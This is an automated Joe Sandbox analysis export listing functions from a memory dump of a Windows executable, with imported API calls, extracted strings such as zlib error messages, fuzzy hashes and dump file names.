String ID: Failed to get address for %hs$GetProcAddress$Tcl_Alloc$Tcl_ConditionFinalize$Tcl_ConditionNotify$Tcl_ConditionWait$Tcl_CreateInterp$Tcl_CreateObjCommand$Tcl_CreateThread$Tcl_DeleteInterp$Tcl_DoOneEvent$Tcl_EvalEx$Tcl_EvalFile$Tcl_EvalObjv$Tcl_Finalize$Tcl_FinalizeThread$Tcl_FindExecutable$Tcl_Free$Tcl_GetCurrentThread$Tcl_GetObjResult$Tcl_GetString$Tcl_GetVar2$Tcl_Init$Tcl_JoinThread$Tcl_MutexFinalize$Tcl_MutexLock$Tcl_MutexUnlock$Tcl_NewByteArrayObj$Tcl_NewStringObj$Tcl_SetVar2$Tcl_SetVar2Ex$Tcl_ThreadAlert$Tcl_ThreadQueueEvent$Tk_GetNumMainWindows$Tk_Init
API String ID: 199729137-3427451314
Opcode ID: 939c8a0ebf27c7f5789cd4a10996167767bc86255d761b2ba34a42bc6fc861e3
Instruction ID: 9b42112f5a6de7e26e6b0482f864bc7eddc8e5a0b83c699868f5fd35e10688a3
Opcode Fuzzy Hash: 939c8a0ebf27c7f5789cd4a10996167767bc86255d761b2ba34a42bc6fc861e3
Instruction Fuzzy Hash: 6D02C664A0DB17D9FE15EB5DBC1A5B82375AF28774F540035D82E82660FFBCB1898207

Function 00007FF62C1140AC Relevance: 24.0, APIs: 9, Strings: 4, Instructions: 1226COMMON

Download Yara Rule

APIs

fegetenv.LIBCMT ref: 00007FF62C1140FA
_invalid_parameter_noinfo.LIBCMT ref: 00007FF62C114766
_invalid_parameter_noinfo.LIBCMT ref: 00007FF62C1148DC
_invalid_parameter_noinfo.LIBCMT ref: 00007FF62C114B9A
_invalid_parameter_noinfo.LIBCMT ref: 00007FF62C114DBA
_invalid_parameter_noinfo.LIBCMT ref: 00007FF62C114FF7
memcpy_s.LIBCPMT ref: 00007FF62C1150D2
memcpy_s.LIBCPMT ref: 00007FF62C11517D
memcpy_s.LIBCPMT ref: 00007FF62C11524C

Strings

1#IND, xrefs: 00007FF62C1141E7
1#INF, xrefs: 00007FF62C114223
1#SNAN, xrefs: 00007FF62C11420A
1#QNAN, xrefs: 00007FF62C114213

Memory Dump Source

Source File: 00000000.00000002.2073997997.00007FF62C0F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF62C0F0000, based on PE: true

Associated: 00000000.00000002.2073965798.00007FF62C0F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074038376.00007FF62C11B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074075607.00007FF62C12E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074075607.00007FF62C132000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074141788.00007FF62C134000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff62c0f0000_dens.jbxd

Similarity

API ID: _invalid_parameter_noinfo$memcpy_s$fegetenv
String ID: 1#IND$1#INF$1#QNAN$1#SNAN
API String ID: 808467561-2761157908
Opcode ID: 7da0388417e7c773b0aab48e07e342724827a26e5879d16e5decf6c79e081c8c
Instruction ID: b1430b918680b9ee3500619412563b125569eb84f740ef50d30eb529adeea469
Opcode Fuzzy Hash: 7da0388417e7c773b0aab48e07e342724827a26e5879d16e5decf6c79e081c8c
Instruction Fuzzy Hash: 7CB2F872A182928BEB25CF68D84A7FD37A1FB64798F405135DA0D97A84DFBCE500CB41

Function 00007FF62C0FACAD Relevance: 12.0, Strings: 9, Instructions: 744COMMON

Download Yara Rule

Strings

too many length or distance symbols, xrefs: 00007FF62C0FAE46
invalid literal/lengths set, xrefs: 00007FF62C0FB133
invalid bit length repeat, xrefs: 00007FF62C0FB099
invalid distance code, xrefs: 00007FF62C0FB5B4
invalid code lengths set, xrefs: 00007FF62C0FAE2D
invalid distance too far back, xrefs: 00007FF62C0FB670
invalid code -- missing end-of-block, xrefs: 00007FF62C0FB0C6
invalid literal/length code, xrefs: 00007FF62C0FB3E2
invalid distances set, xrefs: 00007FF62C0FB1A0

Memory Dump Source

Source File: 00000000.00000002.2073997997.00007FF62C0F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF62C0F0000, based on PE: true

Associated: 00000000.00000002.2073965798.00007FF62C0F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074038376.00007FF62C11B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074075607.00007FF62C12E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074075607.00007FF62C132000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074141788.00007FF62C134000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff62c0f0000_dens.jbxd

Similarity

API ID:
String ID: invalid bit length repeat$invalid code -- missing end-of-block$invalid code lengths set$invalid distance code$invalid distance too far back$invalid distances set$invalid literal/length code$invalid literal/lengths set$too many length or distance symbols
API String ID: 0-2665694366
Opcode ID: 14409f6b5173d9f28888b9fb9c68bcc2b54b8e7def706e6c40ef53002486e1ba
Instruction ID: 319f4cf9aab1d11b8fee948e4f36158f9372da558f9970dbbdb0976506d608d7
Opcode Fuzzy Hash: 14409f6b5173d9f28888b9fb9c68bcc2b54b8e7def706e6c40ef53002486e1ba
Instruction Fuzzy Hash: 3052F672A186A64BDBA48F15C858B7D3BADFB44350F014139EA4AC7780DF3ED884CB45

Function 00007FF62C0FD12C Relevance: 10.6, APIs: 7, Instructions: 71COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32 ref: 00007FF62C0FD148
RtlCaptureContext.KERNEL32 ref: 00007FF62C0FD175
RtlLookupFunctionEntry.KERNEL32 ref: 00007FF62C0FD18F
RtlVirtualUnwind.KERNEL32 ref: 00007FF62C0FD1D0
IsDebuggerPresent.KERNEL32 ref: 00007FF62C0FD224
SetUnhandledExceptionFilter.KERNEL32 ref: 00007FF62C0FD241
UnhandledExceptionFilter.KERNEL32 ref: 00007FF62C0FD24C

Memory Dump Source

Source File: 00000000.00000002.2073997997.00007FF62C0F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF62C0F0000, based on PE: true

Associated: 00000000.00000002.2073965798.00007FF62C0F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074038376.00007FF62C11B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074075607.00007FF62C12E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074075607.00007FF62C132000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074141788.00007FF62C134000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff62c0f0000_dens.jbxd

Similarity

API ID: ExceptionFilterPresentUnhandled$CaptureContextDebuggerEntryFeatureFunctionLookupProcessorUnwindVirtual
String ID:
API String ID: 3140674995-0
Opcode ID: 357b26123f7cc0566be18cabbec560c6351d8abd4e8582c9dfa9d4018571b442
Instruction ID: beaedb28620dca0820e320a6e2c27a3ce8439a0329a40f4e22887220335bbebd
Opcode Fuzzy Hash: 357b26123f7cc0566be18cabbec560c6351d8abd4e8582c9dfa9d4018571b442
Instruction Fuzzy Hash: 85313D72608B818AEB609F64EC843EE7364FB94758F44403ADA4E87B98DF7CD548C715

Function 00007FF62C10A614 Relevance: 9.1, APIs: 6, Instructions: 83COMMONLIBRARYCODE

Download Yara Rule

APIs

RtlCaptureContext.KERNEL32 ref: 00007FF62C10A68D
RtlLookupFunctionEntry.KERNEL32 ref: 00007FF62C10A6A5
RtlVirtualUnwind.KERNEL32 ref: 00007FF62C10A6E0
IsDebuggerPresent.KERNEL32 ref: 00007FF62C10A719
SetUnhandledExceptionFilter.KERNEL32 ref: 00007FF62C10A723
UnhandledExceptionFilter.KERNEL32 ref: 00007FF62C10A72E

Memory Dump Source

Source File: 00000000.00000002.2073997997.00007FF62C0F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF62C0F0000, based on PE: true

Associated: 00000000.00000002.2073965798.00007FF62C0F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074038376.00007FF62C11B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074075607.00007FF62C12E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074075607.00007FF62C132000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074141788.00007FF62C134000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff62c0f0000_dens.jbxd

Similarity

API ID: ExceptionFilterUnhandled$CaptureContextDebuggerEntryFunctionLookupPresentUnwindVirtual
String ID:
API String ID: 1239891234-0
Opcode ID: ae2d74aaff6e8c1310ec24f87c3395aa5518f909cdba62f6f822c67f0a9cc142
Instruction ID: c7ca2951b58de854e9435c53d4e88286f2e3c369a0eeba24442f6d66f35b0a8a
Opcode Fuzzy Hash: ae2d74aaff6e8c1310ec24f87c3395aa5518f909cdba62f6f822c67f0a9cc142
Instruction Fuzzy Hash: D0316E36608B8186DB60CF29EC452AE73A4FB987A8F540135EE9D83B94DF7CD159CB01

Function 00007FF62C111874 Relevance: 7.8, APIs: 5, Instructions: 282COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF62C1118C0
FindFirstFileExW.KERNEL32 ref: 00007FF62C1119CA

Memory Dump Source

Source File: 00000000.00000002.2073997997.00007FF62C0F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF62C0F0000, based on PE: true

Associated: 00000000.00000002.2073965798.00007FF62C0F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074038376.00007FF62C11B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074075607.00007FF62C12E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074075607.00007FF62C132000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074141788.00007FF62C134000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff62c0f0000_dens.jbxd

Similarity

API ID: FileFindFirst_invalid_parameter_noinfo
String ID:
API String ID: 2227656907-0
Opcode ID: ee5daded1920a45b930385d49f4c9fb7106de6f00b6358014c2482279c1420ad
Instruction ID: b953d486e0e311c067662f3579c5b56241669748530832a6119eb82da4e9b82d
Opcode Fuzzy Hash: ee5daded1920a45b930385d49f4c9fb7106de6f00b6358014c2482279c1420ad
Instruction Fuzzy Hash: B1B11A22B18A9641EF60DB29AC0A2B9A3A1EF54BF4F544131DD5D87BD5EF7CE441C302

Function 00007FF62C0FD010 Relevance: 6.0, APIs: 4, Instructions: 39timethreadCOMMON

Download Yara Rule

APIs

GetSystemTimeAsFileTime.KERNEL32 ref: 00007FF62C0FD03C
GetCurrentThreadId.KERNEL32 ref: 00007FF62C0FD04A
GetCurrentProcessId.KERNEL32 ref: 00007FF62C0FD056
QueryPerformanceCounter.KERNEL32 ref: 00007FF62C0FD066

Memory Dump Source

Source File: 00000000.00000002.2073997997.00007FF62C0F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF62C0F0000, based on PE: true

Associated: 00000000.00000002.2073965798.00007FF62C0F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074038376.00007FF62C11B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074075607.00007FF62C12E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074075607.00007FF62C132000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074141788.00007FF62C134000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff62c0f0000_dens.jbxd

Similarity

API ID: CurrentTime$CounterFilePerformanceProcessQuerySystemThread
String ID:
API String ID: 2933794660-0
Opcode ID: 884c9866f0db1ea4ea3e8c559fd458021c8c8106c035f87ab540984eb8a2d97e
Instruction ID: 27bcf5ecab6bf9a5291cc3095efea6fbea17842a2d565b7d9bd1a9f0b23468ac
Opcode Fuzzy Hash: 884c9866f0db1ea4ea3e8c559fd458021c8c8106c035f87ab540984eb8a2d97e
Instruction Fuzzy Hash: E0112E26B14F058AEF00CF64EC592B933A4FB59768F440E31DA6D86BA4DF7CE1598341

Function 00007FF62C113C10 Relevance: 4.8, APIs: 3, Instructions: 340COMMON

Download Yara Rule

APIs

memcpy_s.LIBCPMT ref: 00007FF62C113C76
memcpy_s.LIBCPMT ref: 00007FF62C113CA1

Memory Dump Source

Source File: 00000000.00000002.2073997997.00007FF62C0F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF62C0F0000, based on PE: true

Associated: 00000000.00000002.2073965798.00007FF62C0F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074038376.00007FF62C11B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074075607.00007FF62C12E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074075607.00007FF62C132000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074141788.00007FF62C134000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff62c0f0000_dens.jbxd

Similarity

API ID: memcpy_s
String ID:
API String ID: 1502251526-0
Opcode ID: 723df14fe8405c9280d13974b9e0b256372cd2939c4def8ecbac686ef57d643c
Instruction ID: 0b215102b421fc4f5710fc1756740f8900df75f8b14ee2a39f8abeea05682102
Opcode Fuzzy Hash: 723df14fe8405c9280d13974b9e0b256372cd2939c4def8ecbac686ef57d643c
Instruction Fuzzy Hash: 90C1F672B1928687EF24CF1AE4496AAB791F7A4B94F448135DB4E83748DF7DE801CB40

Function 00007FF62C0FA47B Relevance: 4.1, Strings: 3, Instructions: 397COMMON

Download Yara Rule

Strings

, xrefs: 00007FF62C0FA55B
unknown header flags set, xrefs: 00007FF62C0FA4C5
header crc mismatch, xrefs: 00007FF62C0FA921

Memory Dump Source

Source File: 00000000.00000002.2073997997.00007FF62C0F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF62C0F0000, based on PE: true

Associated: 00000000.00000002.2073965798.00007FF62C0F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074038376.00007FF62C11B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074075607.00007FF62C12E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074075607.00007FF62C132000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074141788.00007FF62C134000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff62c0f0000_dens.jbxd

Similarity

API ID:
String ID: $header crc mismatch$unknown header flags set
API String ID: 0-1127688429
Opcode ID: e32b299fc273864699ec3bddfbf8fc958dab4a7742ffdf8f0166f3b43fcc42d1
Instruction ID: a244c0b694e058d3c9f71a2fa5305e939258bd4fd2ee60b86aae4a5f3bc8efec
Opcode Fuzzy Hash: e32b299fc273864699ec3bddfbf8fc958dab4a7742ffdf8f0166f3b43fcc42d1
Instruction Fuzzy Hash: D4F19472A483D94FEBA58B16C888A3E3BADEF44750F054538DE49877A0CF39E581CB45

Function 00007FF62C119728 Relevance: 3.2, APIs: 2, Instructions: 227COMMONLIBRARYCODE

Download Yara Rule

APIs

_clrfp.LIBCMT ref: 00007FF62C119977
RaiseException.KERNEL32 ref: 00007FF62C119988

Memory Dump Source

Source File: 00000000.00000002.2073997997.00007FF62C0F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF62C0F0000, based on PE: true

Associated: 00000000.00000002.2073965798.00007FF62C0F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074038376.00007FF62C11B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074075607.00007FF62C12E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074075607.00007FF62C132000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074141788.00007FF62C134000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff62c0f0000_dens.jbxd

Similarity

API ID: ExceptionRaise_clrfp
String ID:
API String ID: 15204871-0
Opcode ID: a4cc0e8a2f7e024105bf8074fef1866164229a93701b52dcf00f6f20498becf3
Instruction ID: 679584e2b804aa13a57e160440ae30049d548f068a57df35ee2a2945ebd7d56c
Opcode Fuzzy Hash: a4cc0e8a2f7e024105bf8074fef1866164229a93701b52dcf00f6f20498becf3
Instruction Fuzzy Hash: 81B13973A04B898AEB19CF2DC84A3687BE0F744B58F188921DA6D877A8CF7DD451C701

Function 00007FF62C1039A4 Relevance: 2.8, Strings: 2, Instructions: 350COMMON

Download Yara Rule

Strings

, xrefs: 00007FF62C103D54
, xrefs: 00007FF62C103B12

Memory Dump Source

Source File: 00000000.00000002.2073997997.00007FF62C0F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF62C0F0000, based on PE: true

Associated: 00000000.00000002.2073965798.00007FF62C0F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074038376.00007FF62C11B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074075607.00007FF62C12E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074075607.00007FF62C132000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074141788.00007FF62C134000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff62c0f0000_dens.jbxd

Similarity

API ID:
String ID: $
API String ID: 0-227171996
Opcode ID: e57f1980f4491aea9eb328a1e81193c2bccc9a7e68d1918bb9b7207cf9600634
Instruction ID: ca878c7daea9ae890c6dc2bd4280251ae670bc75a1ae5680274e3f032277987e
Opcode Fuzzy Hash: e57f1980f4491aea9eb328a1e81193c2bccc9a7e68d1918bb9b7207cf9600634
Instruction Fuzzy Hash: CAE1A336A0C64685EF68CF29895A13933A0FF45B68F944136DE0EC77D4DF29E862C742

Function 00007FF62C0FA2DB Relevance: 2.7, Strings: 2, Instructions: 218COMMON

Download Yara Rule

Strings

invalid window size, xrefs: 00007FF62C0FA449
incorrect header check, xrefs: 00007FF62C0FA462

Memory Dump Source

Source File: 00000000.00000002.2073997997.00007FF62C0F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF62C0F0000, based on PE: true

Associated: 00000000.00000002.2073965798.00007FF62C0F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074038376.00007FF62C11B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074075607.00007FF62C12E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074075607.00007FF62C132000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074141788.00007FF62C134000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff62c0f0000_dens.jbxd

Similarity

API ID:
String ID: incorrect header check$invalid window size
API String ID: 0-900081337
Opcode ID: e8ec78490181e4ccec650f854842bb3e08bcfae3bf2db5596c2af0d8e2ff5899
Instruction ID: ea573c718520db83f71b7638d812735d02fdd05f7036ca25c7847be40162ad58
Opcode Fuzzy Hash: e8ec78490181e4ccec650f854842bb3e08bcfae3bf2db5596c2af0d8e2ff5899
Instruction Fuzzy Hash: 25919872A1C2C58FEBA58B15D858B3E3BA9FB44360F114139DE4A86790CF39E581CB46

Function 00007FF62C10DEF0 Relevance: 2.6, Strings: 2, Instructions: 144COMMON

Download Yara Rule

Strings

e+000, xrefs: 00007FF62C10DFFD
gfff, xrefs: 00007FF62C10E07A

Memory Dump Source

Source File: 00000000.00000002.2073997997.00007FF62C0F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF62C0F0000, based on PE: true

Associated: 00000000.00000002.2073965798.00007FF62C0F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074038376.00007FF62C11B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074075607.00007FF62C12E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074075607.00007FF62C132000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074141788.00007FF62C134000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff62c0f0000_dens.jbxd

Similarity

API ID:
String ID: e+000$gfff
API String ID: 0-3030954782
Opcode ID: c8a24eaff8c968987b4d031b15ae93849e98bcf9eddb8930961e84febef9b5bc
Instruction ID: caa3c82e0e49d2e9a0c26d4a443b2ce746d7f0796b9a7a48bc14665e214b8313
Opcode Fuzzy Hash: c8a24eaff8c968987b4d031b15ae93849e98bcf9eddb8930961e84febef9b5bc
Instruction Fuzzy Hash: 85516D62B182C586EB258E36DC0A7697B91F744BA4F48C231CFA887AC5CF7ED451C702

Function 00007FF62C10DA5C Relevance: 1.5, Strings: 1, Instructions: 254COMMON

Download Yara Rule

Strings

gfffffff, xrefs: 00007FF62C10DD9E

Memory Dump Source

Source File: 00000000.00000002.2073997997.00007FF62C0F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF62C0F0000, based on PE: true

Associated: 00000000.00000002.2073965798.00007FF62C0F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074038376.00007FF62C11B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074075607.00007FF62C12E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074075607.00007FF62C132000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074141788.00007FF62C134000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff62c0f0000_dens.jbxd

Similarity

API ID:
String ID: gfffffff
API String ID: 0-1523873471
Opcode ID: bcab6200947a377332474fa44b4677218d40dcace4b26705986274372b0e4f91
Instruction ID: 182afb3e7f43f3b26312460b09e3675bcac430ad2df945a192ce9a6127709aec
Opcode Fuzzy Hash: bcab6200947a377332474fa44b4677218d40dcace4b26705986274372b0e4f91
Instruction Fuzzy Hash: 0CA16862B087C946EF21DF25A8057AD7B91EB55BA4F048032DE8D877C5DE3EE411C702

Function 00007FF62C108794 Relevance: 1.4, Strings: 1, Instructions: 177COMMON

Download Yara Rule

Strings

TMP, xrefs: 00007FF62C1087B3

Memory Dump Source

Source File: 00000000.00000002.2073997997.00007FF62C0F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF62C0F0000, based on PE: true

Associated: 00000000.00000002.2073965798.00007FF62C0F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074038376.00007FF62C11B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074075607.00007FF62C12E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074075607.00007FF62C132000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074141788.00007FF62C134000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff62c0f0000_dens.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: TMP
API String ID: 3215553584-3125297090
Opcode ID: 09cdd7cf7fc9e7e425d724a32e8c9d3bd5c12dba7606eca5b930980d9b4d1239
Instruction ID: 1c7e2ed98b992bcf7e70954ece71b7cd3bcf458e971f87e6abe35e2a204d4476
Opcode Fuzzy Hash: 09cdd7cf7fc9e7e425d724a32e8c9d3bd5c12dba7606eca5b930980d9b4d1239
Instruction Fuzzy Hash: D9519E11F0CA5241FE68AB265D1B17A52906F95BF4F589435DE0EC77D6EE3CE4328203

Function 00007FF62C113480 Relevance: 1.3, APIs: 1, Instructions: 7memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 00007FF62C113484

Memory Dump Source

Source File: 00000000.00000002.2073997997.00007FF62C0F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF62C0F0000, based on PE: true

Associated: 00000000.00000002.2073965798.00007FF62C0F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074038376.00007FF62C11B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074075607.00007FF62C12E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074075607.00007FF62C132000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074141788.00007FF62C134000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff62c0f0000_dens.jbxd

Similarity

API ID: HeapProcess
String ID:
API String ID: 54951025-0
Opcode ID: 1f9e0516fd534d967cb731c121838b59470578846d262458ea046ba55ab40ebf
Instruction ID: 297d6d3a41d468a6937034c2b0d2ace1f857ac7360e4079aee7e31cdb4ced89e
Opcode Fuzzy Hash: 1f9e0516fd534d967cb731c121838b59470578846d262458ea046ba55ab40ebf
Instruction Fuzzy Hash: BEB09220E07A02C2EE092B296C8B21822A57F98721F980138C40C81330DE6C20EA5706

Function 00007FF62C1035A0 Relevance: .3, Instructions: 327COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2073997997.00007FF62C0F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF62C0F0000, based on PE: true

Associated: 00000000.00000002.2073965798.00007FF62C0F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074038376.00007FF62C11B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074075607.00007FF62C12E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074075607.00007FF62C132000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074141788.00007FF62C134000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff62c0f0000_dens.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5eca4e5ff3e7205525bf20f3b63783aa462e3e7adb0228d62bb7e98ab9f5e9bb
Instruction ID: c747f7fd46de326956c03c0654647c31c828606aca7cde0a206ed988cb8f4dce
Opcode Fuzzy Hash: 5eca4e5ff3e7205525bf20f3b63783aa462e3e7adb0228d62bb7e98ab9f5e9bb
Instruction Fuzzy Hash: B2D1E662A0C64285EF688F29884A23D27A0FF05B78F944235CE0D877D5DF3DE966C742

Function 00007FF62C0F9800 Relevance: .3, Instructions: 287COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2073997997.00007FF62C0F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF62C0F0000, based on PE: true

Associated: 00000000.00000002.2073965798.00007FF62C0F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074038376.00007FF62C11B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074075607.00007FF62C12E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074075607.00007FF62C132000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074141788.00007FF62C134000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff62c0f0000_dens.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e75d751cc15dfd510e55d83c6141b0e8cb11d18cbed01e0c543b372a0114c593
Instruction ID: 96eb71dc82efb525b9d3322019c0be88b9c87763add80d9ae5992a2fde8bfaf7
Opcode Fuzzy Hash: e75d751cc15dfd510e55d83c6141b0e8cb11d18cbed01e0c543b372a0114c593
Instruction Fuzzy Hash: 92C1BE726181E08BD28AEB29E87947A73E1F78930DB95406BEF87477C5CB3CA414DB11

Function 00007FF62C102C10 Relevance: .2, Instructions: 241COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2073997997.00007FF62C0F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF62C0F0000, based on PE: true

Associated: 00000000.00000002.2073965798.00007FF62C0F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074038376.00007FF62C11B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074075607.00007FF62C12E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074075607.00007FF62C132000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074141788.00007FF62C134000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

